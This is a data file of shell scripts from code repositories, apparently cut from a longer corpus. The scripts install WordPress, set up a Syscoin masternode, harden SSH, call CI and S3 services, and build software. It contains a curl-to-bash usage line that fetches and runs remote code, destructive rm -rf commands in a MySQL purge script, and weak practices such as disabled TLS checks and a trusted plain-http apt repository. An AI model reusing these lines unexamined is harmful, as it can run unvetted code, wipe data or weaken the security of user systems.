running as root \n if [ \"$(id -u)\" != \"0\" ]; then \n echo \"This script must be run as root\" 1>&2 \n exit 1 \n fi \n \n ## check Current directory \n pwd=$(pwd) \n \n ## Ask value for mysql root password \n read -p 'wordpress_db_name [wp_db]: ' wordpress_db_name \n read -p 'db_root_password [only-alphanumeric]: ' db_root_password \n echo \n \n ## Update system \n apt-get update -y \n \n ## Install Apache \n sudo apt-get install apache2 apache2-utils -y \n systemctl start apache2 \n systemctl enable apache2 \n \n ## Install PHP \n apt-get install php libapache2-mod-php php-mysql -y \n \n ## Install MySQL database server \n export DEBIAN_FRONTEND=\"noninteractive\" \n debconf-set-selections <<< \"mysql-server mysql-server/root_password password $db_<PASSWORD>\" \n debconf-set-selections <<< \"mysql-server mysql-server/root_password_again password $db_<PASSWORD>\" \n apt-get install mysql-server mysql-client -y \n \n ## Install Latest WordPress \n rm /var/www/html/index.* \n wget -c http://wordpress.org/latest.tar.gz \n tar -xzvf latest.tar.gz \n rsync -av wordpress/* /var/www/html/ \n \n ## Set Permissions \n chown -R www-data:www-data /var/www/html/ \n chmod -R 755 /var/www/html/ \n \n ## Configure WordPress Database \n mysql -uroot -p$db_root_password <<QUERY_INPUT \n CREATE DATABASE $wordpress_db_name; \n GRANT ALL PRIVILEGES ON $wordpress_db_name.* TO 'root'@'localhost' IDENTIFIED BY '$db_root_password'; \n FLUSH PRIVILEGES; \n EXIT \n QUERY_INPUT \n \n ## Add Database Credentias in wordpress \n cd /var/www/html/ \n sudo mv wp-config-sample.php wp-config.php \n perl -pi -e \"s/database_name_here/$wordpress_db_name/g\" wp-config.php \n perl -pi -e \"s/username_here/root/g\" wp-config.php \n perl -pi -e \"s/password_here/$db_root_password/g\" wp-config.php \n \n ## Enabling Mod Rewrite \n a2enmod rewrite \n php5enmod mcrypt \n \n ## Install PhpMyAdmin \n apt-get install phpmyadmin -y \n \n ## Configure PhpMyAdmin \n echo 'Include /etc/phpmyadmin/apache.conf' >> /etc/apache2/apache2.conf \n \n ## Restart Apache and Mysql \n service apache2 restart \n service mysql restart \n \n ## Cleaning Download \n cd $pwd \n rm -rf latest.tar.gz wordpress \n \n echo \"Installation is complete.\""} {"text": "<gh_stars>0\nexport DEBUG=1\nexport LEADER_GEOM=80x24+1741+0\nexport DEV1_GEOM=80x24+1741+895\nexport DEV2_GEOM=80x24+150+895\nexport EXEC_ON_WORK_BEGIN=custom_work_begin\nexport EXEC_ON_WORK_END=custom_work_end\nexport LEADER_SETUP_COMMAND='cd /tmp\nPS1=\"[leader@lmachine \\\\W]$ \"'\nexport DEV1_SETUP_COMMAND='cd /tmp\nPS1=\"[dev1@d1machine \\\\W]$ \"'\nexport DEV2_SETUP_COMMAND='cd /tmp\nPS1=\"[dev2@d2machine \\\\W]$ \"'\n\nfunction custom_work_begin() {\n\tif [ \"$WORK_LEVEL\" -eq 1 ]\n\tthen\n\t\tstart_screen_record\n\tfi\n}\nfunction custom_work_end() {\n\tif [ \"$WORK_LEVEL\" -eq 1 ]\n\tthen\n\t\tstop_screen_record\n\tfi\n}\nfunction start_screen_record() {\n\tAUDIO_ID=\"$(pacmd list-sources | grep -PB 1 \"analog.*monitor>\" | head -n 1 | perl -pe 's/.* //g')\"\n\tffmpeg -y -video_size 3200x1800 -framerate 25 -f x11grab -i :0.0 -f pulse -ac 2 -i $AUDIO_ID /tmp/tutaut.mkv >/dev/null 2>&1 &\n\ttrap stop_screen_record EXIT\n}\nfunction stop_screen_record() {\n\tpkill ffmpeg\n}"} {"text": "#!/bin/bash\n\n# READ THIS FIRST: maintenance.md\n\n# Script to test a server.\n# Run it on the server.\n\nsource ${0%/*}/config.sh\nsource ${0%/*}/doconfig.sh\nsource ${0%/*}/functions.sh\n\n\nUSAGE=\"\nUsage: ./$(basename $0) [Options]\n\nTest the $APP software by\n- running a test controller in the web2py shell outside apache\n- making a first visit using curl\n- compile the shebanq app\n\nThe $APP server must be fully installed.\n\nOptions:\n --controller: only runs the test controller\n --visit: only visits the website\n --compile: just compiles the shebanq app\n\n\"\n\nshowUsage \"$1\" \"$USAGE\"\n\nsetSituation \"$HOSTNAME\" \"Testing\" \"$USAGE\"\n\ndoController=\"x\"\ndoVisit=\"x\"\ndoCompile=\"x\"\ndoAll=\"v\"\n\necho \"o-o-o Testing ...\"\n\nif [[ \"$1\" == \"--controller\" ]]; then\n doAll=\"x\"\n doController=\"v\"\n shift\nelif [[ \"$1\" == \"--visit\" ]]; then\n doAll=\"x\"\n doVisit=\"v\"\n shift\nelif [[ \"$1\" == \"--compile\" ]]; then\n doAll=\"x\"\n doCompile=\"v\"\n shift\nelif [[ \"$1\" == --* ]]; then\n echo \"Unrecognized switch: $1\"\n echo \"Do ./$(basename $0) --help for available options\"\n exit\nfi\n\nif [[ \"$doAll\" == \"v\" || \"$doController\" == \"v\" ]]; then\n testController\nfi\nif [[ \"$doAll\" == \"v\" || \"$doVisit\" == \"v\" ]]; then\n firstVisit\nfi\nif [[ \"$doAll\" == \"v\" || \"$doCompile\" == \"v\" ]]; then\n compileApp $APP\nfi\n\necho \"o-o-o Testing done.\""} {"text": "<filename>3rdparty/vpx/build.sh\n#!/bin/sh\nset -e\ncwd=`pwd`\n\nsrc=\"libvpx-1.4.0\"\nif [ \"$1\" = \"\" ]; then\n dest=`pwd`/../build\nelse\n dest=$1\nfi\nexport PATH=${dest}/bin:${PATH}\nmkdir -p ${dest}/src\ncd ${dest}/src\n\nif [ ! -d \"${src}\" ]; then\n if [ `which curl` ]; then\n cmd=\"curl -k -O -L\"\n else\n cmd=\"wget\"\n fi\n ${cmd} https://gr-framework.org/downloads/3rdparty/${src}.tar.bz2\n tar -xf ${src}.tar.bz2\nfi\n\ncd ${src}\n\nexport CFLAGS=\"-fPIC\"\n./configure --prefix=${dest} --disable-unit-tests --target=generic-gnu \\\n --enable-pic\nmake -j4\nmake install\n\ncd ${cwd}"} {"text": "#!/bin/bash\nclear\n\n# The syscoin repository on GitHub\nGitHubSys=https://www.github.com/syscoin/syscoin\nGitHubSen=https://github.com/syscoin/sentinel.git\n\nSTRING1=\"Welcome to the Syscoin interactive install method.\"\nSTRING2=\"Updating system and installing required packages.\"\nSTRING3=\"Switching to Aptitude\"\nSTRING4=\"Some optional installs\"\nSTRING5=\"Starting your Masternode\"\nSTRING6=\"Now, you need to finally start your masternode in the following order:\"\nSTRING7=\"Go to your desktop wallet and go to the Masternodes Tab\"\nSTRING8=\"Select the masternode to be started (right click to select) and choose start alias\"\nSTRING9=\"\"\n\n# Check if we are root\nif [ \"$(id -u)\" != \"0\" ]; then\necho \"This script must be run as root.\" 1>&2\nexit 1\nfi\n\n# First we increase the max number of open files the server can handle\ncat >> /etc/sysctl.conf << EOL\n\nfs.file-max = 8192\nEOL\n\nsysctl -p\n\ncat >> /etc/security/limits.conf << EOL\n\n* soft nproc 8192\n* hard nproc 8192\n* soft nofile 8192\n* hard nofile 8192\nroot soft nproc 8192\nroot hard nproc 8192\nroot soft nofile 8192\nroot hard nofile 8192\nEOL\n\ncat >> /etc/pam.d/common-session << EOL\n\nsession required pam_limits.so\nEOL\n\n# Install tools for dig and systemctl\necho \"Preparing installation...\"\napt-get install dnsutils systemd -y > /dev/null 2>&1\n\n# Check for systemd\nsystemctl --version >/dev/null 2>&1 || { echo \"systemd is required. Are you using Ubuntu 18.04 LTS?\" >&2; exit 1; }\n\n# CHARS is used for the loading animation further down.\nCHARS=\"/-\\|\"\n\n# Get the external IP of the VPS\nEXTERNALIP=`dig +short myip.opendns.com @resolver1.opendns.com`\n\nclear\n\necho $STRING1\n\ncat << EOL\n\n################################# PLEASE READ ################################\n\nYou can choose between two installation options: default and advanced.\n\nThe advanced installation will install and run the masternode under a non-root\nuser. If you don't know what that means, use the default installation method.\n\n##############################################################################\n\nEOL\n\nsleep 5\n\nread -e -p \"Use the Advanced Installation? [N/y] : \" ADVANCED\n\nif [[ (\"$ADVANCED\" == \"y\" || \"$ADVANCED\" == \"Y\") ]]\nthen\nUSER=syscoin\nread -e -p \"Password for unprivileged User : \" password\nadduser $USER --gecos \"First Last,RoomNumber,WorkPhone,HomePhone\" --disabled-password > /dev/null\necho $USER:$password | chpasswd > /dev/null\necho \"\" && echo 'Added user \"syscoin\"' && echo \"\"\nelse\nUSER=root\nfi\n\nUSERHOME=`eval echo \"~$USER\"`\n\nsleep 2\n\nclear\n\nread -e -p \"Server IP Address: \" -i $EXTERNALIP -e IP\nread -e -p \"Masternode Private Key ( # THE KEY YOU GENERATED with masternode genkey) : \" KEY\nread -e -p \"Install Fail2ban? [Y/n] : \" FAIL2BAN\nread -e -p \"Install UFW and configure ports? [Y/n] : \" UFW\n\nclear\n\necho $STRING9\necho $STRING2\nsleep 10\n\n# Generating Random Passwords\nRPCUSER=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 12 | head -n 1)\nRPCPASSWORD=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)\n\n# Update packages and upgrade Ubuntu\necho \"Installing dependencies...\"\napt-get -qq update\napt-get -qq upgrade\napt-get -qq autoremove\napt-get -qq install htop\napt-get -qq install build-essential libtool autotools-dev automake pkg-config libssl-dev libevent-dev bsdmainutils libboost-all-dev libminiupnpc-dev &&\napt-get -qq install software-properties-common &&\napt-get -qq update &&\napt-get -qq install python virtualenv git unzip pv &&\nadd-apt-repository -y ppa:bitcoin/bitcoin &&\napt-get -qq install libdb4.8-dev libdb4.8++-dev\n\nsleep 5\nclear\n\necho $STRING3\napt-get -qq install aptitude\n\necho $STRING4\n\nif [[ (\"$FAIL2BAN\" == \"y\" || \"$FAIL2BAN\" == \"Y\" || \"$FAIL2BAN\" == \"\") ]]; then\naptitude -y install fail2ban\nservice fail2ban restart\nfi\n\nif [[ (\"$UFW\" == \"y\" || \"$UFW\" == \"Y\" || \"$UFW\" == \"\") ]]; then\napt-get -qq install ufw\nufw default deny incoming\nufw default allow outgoing\nufw allow ssh\nufw limit ssh/tcp\nufw allow 8369/tcp\nufw logging on\nyes | ufw enable\nufw status\nfi\n\nsleep 5\n\n# Make a 4 Gigabyte swapfile\nfallocate -l 4G /swapfile &&\nchmod 600 /swapfile\nmkswap /swapfile &&\nswapon /swapfile &&\n\n# Ensure to use the swapfile after a reboot\ncat >> /etc/fstab << EOL\n/swapfile none swap sw 0 0\nEOL\n\nsleep 3\n\necho $STRING9\necho \"Now we are going to compile the syscoin binaries\"\necho $STRING9\n\nread -p \"Compile duration is approximately 40 minutes. Press any key when you are ready to compile. \" -n1 -s\n\necho $STRING9\n\n# Get Syscoin repository from GitHub\ncd $USERHOME\nsu -c \"mkdir $USERHOME/buildsys\" $USER\ncd buildsys\nsu -c \"git clone $GitHubSys\" $USER &&\ncd syscoin\n\n# Build Syscoin Core from sources\nsu -c \"$USERHOME/buildsys/syscoin/autogen.sh\" $USER &&\nsu -c \"$USERHOME/buildsys/syscoin/configure --disable-tests --disable-gui-tests --disable-bench\" $USER &&\nsu -c \"make -j$(nproc) -pipe\" $USER\nmake install\n\necho $STRING9\necho \"Syscoin Build completed\"\necho $STRING9\n\n\nread -p \"The syscoin binaries have been compiled. Press any key to proceed... \" -n1 -s\n\necho $STRING9\n\n# Setup Syscoin core configuration\nsu -c \"mkdir $USERHOME/.syscoincore\" $USER\nsu -c \"touch $USERHOME/.syscoincore/syscoin.conf\" $USER\n\n# Populate syscoin.conf\ncat > $USERHOME/.syscoincore/syscoin.conf << EOL\n#\nrpcuser=${RPCUSER}\nrpcpassword=${<PASSWORD>}\nrpcallowip=127.0.0.1\n#\nlisten=1\nserver=1\ndaemon=1\nmaxconnections=24\n#\nmasternode=1\nmasternodeprivkey=${KEY}\nexternalip=${IP}\nport=8369\nEOL\n\n# Remove write and read access from other nonpriviliged users\nchmod 0600 $USERHOME/.syscoincore/syscoin.conf\n\nclear\n\necho $STRING5\n\nsleep 3\n\n# Create Syscoind Service\ncat > /etc/systemd/system/syscoind.service << EOL\n[Unit]\nDescription=syscoind\nAfter=network.target\n[Service]\nType=forking\nUser=${USER}\nWorkingDirectory=${USERHOME}\nExecStart=/usr/local/bin/syscoind -conf=${USERHOME}/.syscoincore/syscoin.conf -datadir=${USERHOME}/.syscoincore -rpcworkqueue=32 -daemon\nExecStop=/usr/local/bin/syscoind -conf=${USERHOME}/.syscoincore/syscoin.conf -datadir=${USERHOME}/.syscoincore -rpcworkqueue=32 -daemon stop\nRestart=on-abort\n[Install]\nWantedBy=multi-user.target\nEOL\n\n# Enable and start syscoind via systemctl\nsystemctl enable syscoind &&\nsystemctl start syscoind\n\necho \"Hold on... \"\nsleep 60\n\n# Show the syscoind status\necho $STRING9\necho $STRING9\nsu -c \"/usr/local/bin/syscoin-cli getinfo\" $USER\n\nsleep 7\n\nclear\n\n#-----------------------------------------------------------------------------------------------------\n#\n# Next, set up sentinel for Masternode monitoring\n#\n#-----------------------------------------------------------------------------------------------------\n\nclear\n\n# Get Sentinel repository from GitHub\ncd $USERHOME\nsu -c \"mkdir $USERHOME/monitor\" $USER\ncd $USERHOME/monitor\nsu -c \"git clone $GitHubSen\" $USER &&\ncd $USERHOME/monitor/sentinel\nsu -c \"touch sentinel.conf\" $USER\n\n# Populate sentinel.conf\ncat > $USERHOME/monitor/sentinel/sentinel.conf << EOL\n#\n# Path to SyscoinCore\nsyscoin_conf=${USERHOME}/.syscoincore/syscoin.conf\n\n# We are on mainnet\nnetwork=mainnet\n\n# Database connection details\ndb_name=${USERHOME}/monitor/sentinel/database/sentinel.db\ndb_driver=sqlite\nEOL\n\n# Finish Sentinel setup\nsu -c \"virtualenv venv\" $USER\n\n# Install Sentinel dependencies\nsu -c \"venv/bin/pip install -r requirements.txt\" $USER\n\necho $STRING9\necho $STRING6\necho $STRING9\necho $STRING7\necho $STRING9\necho $STRING8\necho $STRING9\nsleep 5\n\necho $STRING9\n\nread -p \"Press any key to continue but only after you have completed the above steps... \" -n1 -s\n\n# Check Masternode Status\nsu -c \"/usr/local/bin/syscoin-cli masternode status\" $USER\n\nsleep 10\n\n# Set sentinel in crontab\n(\nsu -c \"crontab -l 2>/dev/null\necho '*/10 * * * * cd /home/syscoin/monitor/sentinel && ./venv/bin/python bin/sentinel.py 2>&1 >> sentinel-cron.log'\" $USER\n) | su -c \"crontab\" $USER\n\nclear\n\necho \"Wait for complete Masternode Sync before proceeding: \"\n\nuntil su -c \"/usr/local/bin/syscoin-cli mnsync status 2>/dev/null | grep 'MASTERNODE_SYNC_FINISHED' > /dev/null\" $USER\ndo\nfor (( i=0; i<${#CHARS}; i++ ))\ndo\nsleep 3\necho -en \"${CHARS:$i:1}\" \"\\r\"\ndone\ndone\n\n# Check sentinel status\necho \"Following is the sentinel status (empty output is OK)\"\ncd $USERHOME/monitor/sentinel\nsu -c \"venv/bin/python bin/sentinel.py\" $USER\n\necho $STRING9\necho \"Following is the result of the Masternode Sync Status: \"\necho $STRING9\nsu -c \"/usr/local/bin/syscoin-cli mnsync status\" $USER\necho $STRING9\necho \"Following is the result of the Masternode Status: \"\necho $STRING9\nsu -c \"/usr/local/bin/syscoin-cli masternode status\" $USER\necho $STRING9\nsleep 5\necho \" Masternode setup completed. \"\necho $STRING9"} {"text": "sudo apt-get remove --purge mysql-server mysql-client mysql-common -y\nsudo apt-get autoremove -y\nsudo apt-get autoclean\nrm -rf /etc/mysql\n#sudo find / -iname 'mysql*' -exec rm -rf {} \\;\nsudo apt autoremove mysql-server"} {"text": "<reponame>SergiuszN/school<gh_stars>0\n#!/bin/bash\n\ngit pull\ncomposer install --no-dev --optimize-autoloader\nAPP_ENV=prod APP_DEBUG=0 php bin/console cache:clear\nphp bin/console doctrine:schema:update --dump-sql --force"} {"text": "<filename>deprecated/util/fsplit.sh\n#!/bin/sh\n# split fasta file into separate sequence files\n#\n\nif [ $# -gt 1 ]\nthen\n seqfile=\"$1\"\n destdir=\"$2\"\nelse\n echo \"Use: fsplit SEQFILE DESTDIR\"\n echo \" Splits fasta file SEQFILE into separate files in DESTDIR folder\"\n exit\nfi\n\nmkdir $2\ncsplit -f $destdir/sequence $seqfile \"%^>%\" \"/^>/\" \"{*}\" -s"} {"text": "<gh_stars>10-100\n#!/bin/sh\n\n# Script that runs the rcn2 program from the TTMult suite.\n\nif [ ! -x \"$TTMULT/rcn2\" ]; then\n echo \"rcn2 command was not found.\"\n exit 1\nfi\n\nif [ \"$#\" -eq 0 ]; then\n NAME='input'\nelse\n NAME=\"$1\"\nfi\n\n# The input file for rcn2 must be added in the current folder.\nif [ -f \"$NAME.rcn2\" ]; then\n ln -sf $NAME.rcn2 fort.10\n $TTMULT/rcn2\n if [ $? -ne 0 ]; then\n echo \"rcn2 calculation has failed.\"\n exit 1\n fi\n mv fort.9 $NAME.rcn2_out\n mv fort.11 $NAME.rcg\n rm fort.10\n echo \"rcn2 calculation has finished successfully.\"\nelse\n echo \"Could not find $NAME.rcn2 in the current folder.\"\n exit 1\nfi\n\nexit 0"} {"text": "#!/bin/bash\n# Usage:\n# curl https://raw.githubusercontent.com/mixool/across/master/ssh/securityssh.sh | bash\n\n[[ \"$(id -u)\" != \"0\" ]] && echo \"ERROR: Please run as root\" && exit 1\n\n# Backup\nbakname=$(date +%N)\ncp /etc/ssh/sshd_config /etc/ssh/sshd_config_$bakname\n\n# custom port\necho \"Securing your SSH server with custom port...\"\nSSH_PORT=${SSH_PORT:-n}\nwhile ! [[ ${SSH_PORT} =~ ^[0-9]+$ ]]; do\n read -p \"Custom ssh port: \" SSH_PORT </dev/tty\ndone\n\nif grep -qwE \"^Port\\ [0-9]*\" /etc/ssh/sshd_config; then\n sed -i \"s/^Port\\ [0-9]*/Port\\ ${SSH_PORT}/g\" /etc/ssh/sshd_config\nelse\n sed -i \"/^#Port\\ [0-9]*/a Port\\ ${SSH_PORT}\" /etc/ssh/sshd_config\nfi\n\n\n# custom rsa_pub_key login\necho \"Securing your SSH server with authorized_keys...\"\nRSA_PUB_KEY=${RSA_PUB_KEY:-n}\nwhile ! [[ ${RSA_PUB_KEY} =~ ssh-rsa* ]]; do\n read -p \"Custom public key: \" RSA_PUB_KEY </dev/tty\ndone\n\n[[ ! -d \"/root/.ssh\" ]] && mkdir -p \"/root/.ssh\" && chmod 700 /root/.ssh\necho $RSA_PUB_KEY >> /root/.ssh/authorized_keys\nsed -i \"s/PermitRootLogin.*/PermitRootLogin without-password/g\" /etc/ssh/sshd_config\n\n# Active\nservice ssh restart\n\n# Info\t\necho \"ssh port updated to ${SSH_PORT}, please login with authorized_keys\"\necho \"if login failed, backup file: /etc/ssh/sshd_config_$bakname\""} {"text": "#!/bin/bash\n\n# Documentation \nread -r -d '' USAGE_TEXT << EOM\nUsage: circleci.sh command [<param>...]\nRun given command in circleci.\n\nThis is independent of circlci.sh now. need to rename script\n\nAvailable commands: \n build <project_name> start build of given project\n outputs build number\n status <build_number> get status of build identified by given build number\n outputs one of: success | failed | null\n kill <build_number> kills running build identified by given build number \n hash <position> get revision hash on given positions\n available positions:\n last hash of last succesfull build commit\n only commits of 'build' job are considered\n current hash of current commit\n help display this usage text \nEOM\n\nset -e\n\n# Functions\n\n##\n# Print message on stderr to do not affect stdout which can be used as input to another commands.\n#\n# Input:\n# MESSAGE - message to print\n#\nfunction log {\n MESSAGE=$1\n >&2 echo \"$MESSAGE\"\n}\n\n##\n# Print error message and exit program with status code 1\n#\n# Input:\n# MESSAGE - error message to show\n##\nfunction fail {\n MESSAGE=$1\n log \"ERROR: $MESSAGE\"\n log \"$USAGE_TEXT\"\n exit 1\n}\n\n##\n# Fast fail when given environment variable is not set.\n#\n# Input:\n# ENV_VAR - name of environment variable to check\n##\nfunction require_env_var {\n local ENV_VAR=$1\n if [[ -z \"${!ENV_VAR}\" ]]; then\n fail \"$ENV_VAR is not set\"\n fi \n}\n\n##\n# Fast fail when given parameter is empty\n#\n# Input:\n# MESSAGE - message to show when requirement is not met\n# PARAM - parameter which should be not null\n##\nfunction require_not_null {\n local MESSAGE=$1\n if [[ -z \"$2\" ]]; then\n fail \"$MESSAGE\"\n fi\n}\n\n##\n# Make HTTP POST call to circleci\n#\n# Input:\n# URL - part of URL after circleci base url\n# DATA - form data to post (optional)\n##\nfunction post {\n local URL=$1\n local DATA=$2\n if [[ ! -z $DATA ]]; then\n DATA=\"-d $DATA\"\n fi\n curl -XPOST -s -u ${CIRCLE_API_USER_TOKEN}: ${DATA} ${CIRCLECI_URL}/${URL}\n}\n\n##\n# Make HTTP GET call to circleci\n#\n# Input:\n# URL - part of URL after circleci base url\n##\nfunction get {\n local URL=$1\n curl -s -u ${CIRCLE_API_USER_TOKEN}: ${CIRCLECI_URL}/${URL}\n}\n\n##\n# Trigger build in circleci\n#\n# Input:\n# PROJECT_NAME - name of project to start build for\n#\n# Output:\n# build number\n##\nfunction trigger_build {\n echo \"1\"\n}\n\n##\n# Get status of circleci build\n#\n# Input:\n# BUILD_NUM - build identification number\n#\n# Output:\n# success | failed | null\n##\nfunction get_build_status {\n local BUILD_NUM=$1\n require_not_null \"Build number not speficied\" ${BUILD_NUM} \n STATUS_RESPONSE=$(get ${BUILD_NUM})\n echo \"$STATUS_RESPONSE\" | jq -r '.[\"outcome\"]'\n}\n\n\n##\n# Kill circleci build\n#\n# Input:\n# BUILD_NUM - build identification number\n##\nfunction kill_build {\n local BUILD_NUM=$1\n require_not_null \"Build number not speficied\" ${BUILD_NUM} \n STATUS_RESPONSE=$(post ${BUILD_NUM}/cancel)\n}\n\n##\n# Get revision hash of last successful commit which invokes main monorepository build\n#\n# Output:\n# revision hash or null when there were no commits yet\n##\nfunction get_last_successful_commit {\n git merge-base master HEAD\n}\n\n##\n# Get revision hash of current commit\n#\n# Output:\n# revision hash or null when there were no commits yet\n##\nfunction get_current_commit {\n echo \"HEAD\"\n}\n\n##\n# Main\n##\n\n# Validatate common requirements\n\n# Parse command\ncase $1 in\n build) \n trigger_build $2\n ;;\n status)\n get_build_status $2\n ;;\n kill)\n kill_build $2\n ;; \n hash)\n case $2 in\n last)\n get_last_successful_commit\n ;;\n current)\n get_current_commit\n ;;\n *)\n fail \"Unknown hash position $2\" \n ;;\n esac\n ;; \n *)\n fail \"Unknown command $1\"\n ;; \nesac"} {"text": "<reponame>zhoulipeng/cppwork\n#g++ example.cpp -o example.exe -std=c++0x -pthread\ng++ example.cpp -o example.exe -std=c++11 -pthread"} {"text": "#!/bin/bash\n#\ncd /home/ubuntu/scale\n\nS3_BUCKET=\"playback-dev.savvyreading.com\"\nS3_ARCHIVE=\"archive\"\necho \"Upload Archive to S3 $1\"\naws s3 cp --recursive /var/bigbluebutton/recording/raw/$1 s3://$S3_BUCKET/$S3_ARCHIVE/$1 >>/var/log/bigbluebutton/post_archive.log"} {"text": "<reponame>lup777/FreeRTOS-GCC-ARM926ejs\n#!/bin/bash\n#\n# A convenience script that sets environment variables, necessary\n# to use the GNU toolchain for the ARM architecture.\n#\n# This script sets PATH and C_INCLUDE_PATH. If you intend to link\n# the toolchain's libraries (e.g. libgcc.a), other variables\n# (e.g. LIBRARY_PATH) must be set as well.\n#\n# Make sure, you set the environment variables appropriately for your\n# setup. Typically, setting TOOLCHAIN only should be enough.\n#\n# IMPORTANT: this script must be run as \n# . ./setenv.sh\n# or its longer equivalent:\n# source ./setenv.sh\n#\n# otherwise the variables will be discarded immediately after the script completes!\n\n\n# NOTE:\n# For Linux, only 64-bit version of the toolchain is available. If building\n# on a 32-bit Linux host, consider using an older version of the toolchain or\n# building it from the provided source code.\n\n# Version \"6-2017-q2-update\" of \"GNU Arm Embedded Toolchain\" \n# is used as the toolchain. It can be downloaded from\n# https://developer.arm.com/open-source/gnu-toolchain/gnu-rm/downloads\n# I downloaded the Linux 64-bit build of the toolchain and manually unpacked\n# it into /opt, so all paths will be relative to this one:\n\nTOOLCHAIN=/opt/gcc-arm-none-eabi-6-2017-q2-update\n\n# Add a path to gnu-none-eabi-* executables:\nexport PATH=$PATH:$TOOLCHAIN/bin\n\n# After the script completes, you may check that output of\n# echo $PATH\n# includes the desired path. Additionally you may check if arm-none-eabi-gcc\n# is found if you attempt to run this executable.\n\n\n# If you have gcc installed, C_INCLUDE_PATH might be set to its include paths.\n# This may be confusing when you build ARM applications, therefore this variable\n# (if it exists) will be overwritten:\nexport C_INCLUDE_PATH=$TOOLCHAIN/arm-none-eabi/include\n\n# After the script completes, check the effect of this variable by executing:\n# `arm-none-eabi-gcc -print-prog-name=cc1` -v\n#\n# More info about this at:\n# http://stackoverflow.com/questions/344317/where-does-gcc-look-for-c-and-c-header-files\n\n# Export other environment variables (e.g. LIBRARY_PATH) if necessary.\n\n\n# Variable TOOLCHAIN not needed anymore, it can be unset\nunset TOOLCHAIN"} {"text": "#!/bin/bash\n\nset -eo pipefail\n\napt-get update\napt-get install -y git python3\n\nexport DUNE_PROFILE=mainnet\n\nsource buildkite/scripts/export-git-env-vars.sh\n\n# Don't prompt for answers during apt-get install\nexport DEBIAN_FRONTEND=noninteractive\n\napt-get install -y apt-transport-https ca-certificates make\necho \"deb [trusted=yes] http://packages.o1test.net unstable main\" | tee /etc/apt/sources.list.d/coda.list\napt-get update\napt-get install --allow-downgrades -y curl ${PROJECT}=${VERSION}\n\nmina daemon --seed --proof-level none --rest-port 8080 &\n\n# Update the graphql schema\nnum_retries=5\nfor ((i=1;i<=$num_retries;i++)); do\n sleep 10s\n set +e\n make update-graphql\n status_exit_code=$?\n set -e\n if [ $status_exit_code -eq 0 ]; then\n break\n elif [ $i -eq $num_retries ]; then\n exit $status_exit_code\n fi\ndone\n\nkill %1\n\ngit diff --exit-code -- graphql_schema.json"} {"text": "<reponame>tinyos-io/tinyos-3.x-contrib<filename>kasetsart/install.sh\n#!/bin/sh\n\nLINKS=\"\nsupport/make/avr/usbasp.extra\nsupport/make/iwing-mrf.target\ntos/chips/atm328\ntos/chips/mrf24j40\ntos/platforms/iwing-mrf\n\"\n\n#\n# Some sanity checks\n#\nif [ ! $TOSROOT ]; then\n echo Error: environment TOSROOT not defined\n exit 1\nfi\n\nfor i in $LINKS; do\n if [ ! -d `dirname $TOSROOT/$i` ]; then\n echo -n 'Error: '\n echo '$TOSROOT' does not seem to point to a valid TinyOS directory\n echo Directory $TOSROOT/`dirname $i` does not exist\n exit 2\n fi\ndone\n\n#\n# Create symlinks\n#\nfor i in $LINKS; do\n echo Creating symlink $TOSROOT/$i\n if [ -e $TOSROOT/$i ]; then\n echo -n 'Warning: '\n echo $TOSROOT/$i already exists\n else\n ln -s `pwd`/$i $TOSROOT/$i\n fi\ndone\necho 'Done.'"} {"text": "<gh_stars>100-1000\n#!/bin/bash\nVERSION=$1\necho \"releasing: $VERSION\"\nmvn versions:set -DnewVersion=$VERSION\nmvn versions:commit\ngit commit -am \"release $VERSION\"\n\nif [[ ! $VERSION =~ .*SNAPSHOT.* ]]; then\n git tag \"yawp-$VERSION\"\n git push --tags\nfi\n\ngit push\nkillall -9 gpg-agent\neval \"$(gpg-agent --daemon)\"\nmvn clean deploy -Prelease -DadditionalJOption=-Xdoclint:none"} {"text": "#!/bin/bash\n\necho \"-- brew update\"\nbrew update\n# export HOMEBREW_NO_AUTO_UPDATE=1\nSCRIPT_DIR=$(cd $(dirname $0); pwd)\n\nLIST=$(brew list --version | cut -d' ' -f1)\n\necho \"-- brew install packages\"\nwhile read PACKAGE; do\n echo ${LIST} | grep -q ${PACKAGE}\n if [ $? -ne 0 ]; then\n brew list ${PACKAGE} 1>/dev/null 2>/dev/null || brew install ${PACKAGE}\n fi\ndone < \"${SCRIPT_DIR}/package_list.txt\"\n\nwhile read PACKAGE; do\n echo ${LIST} | grep -q ${PACKAGE}\n if [ $? -ne 0 ]; then\n brew list ${PACKAGE} 1>/dev/null 2>/dev/null || brew install --head ${PACKAGE}\n fi\ndone < \"${SCRIPT_DIR}/package_head_list.txt\"\n\n# brew tap homebrew/cask\n# brew cask install chromedriver\n\nbrew cleanup"} {"text": "function v_exec() {\n\tVBoxManage guestcontrol \"$VBOX_VM\" --username=root --password=\"$<PASSWORD>\" run -- \"$@\"\n}"} {"text": "<filename>contrib/build-wine/build-electrum-git.sh\n#!/bin/bash\n\nNAME_ROOT=Garlium\nPYTHON_VERSION=3.5.4\n\n# These settings probably don't need any change\nexport WINEPREFIX=/opt/wine64\nexport PYTHONDONTWRITEBYTECODE=1\nexport PYTHONHASHSEED=22\n\nPYHOME=c:/python$PYTHON_VERSION\nPYTHON=\"wine $PYHOME/python.exe -OO -B\"\n\n\n# Let's begin!\ncd `dirname $0`\nset -e\n\ncd tmp\n\ngit clone -b master https://github.com/xSke/garlium.git\n#for repo in garlium garlium-locale garlium-icons; do\n# if [ -d $repo ]; then\n#\tcd $repo\n#\tgit pull\n#\tgit checkout master\n#\tcd ..\n# else\n#\tURL=https://github.com/pooler/$repo.git\n#\tgit clone -b master $URL $repo\n# fi\n#done\n\n#pushd garlium-locale\n#for i in ./locale/*; do\n# dir=$i/LC_MESSAGES\n# mkdir -p $dir\n# msgfmt --output-file=$dir/electrum.mo $i/electrum.po || true\n#done\n#popd\n\npushd garlium\nif [ ! -z \"$1\" ]; then\n git checkout $1\nfi\n\nVERSION=`git describe --tags`\necho \"Last commit: $VERSION\"\nfind -exec touch -d '2000-11-11T11:11:11+00:00' {} +\npopd\n\nrm -rf $WINEPREFIX/drive_c/garlium\ncp -r garlium $WINEPREFIX/drive_c/garlium\ncp garlium/LICENCE .\n#cp -r garlium-locale/locale $WINEPREFIX/drive_c/garlium/lib/\n#cp garlium-icons/icons_rc.py $WINEPREFIX/drive_c/garlium/gui/qt/\n\n# Install frozen dependencies\n$PYTHON -m pip install -r ../../requirements.txt\n\npushd $WINEPREFIX/drive_c/garlium\n$PYTHON setup.py install\npopd\n\ncd ..\n\nrm -rf 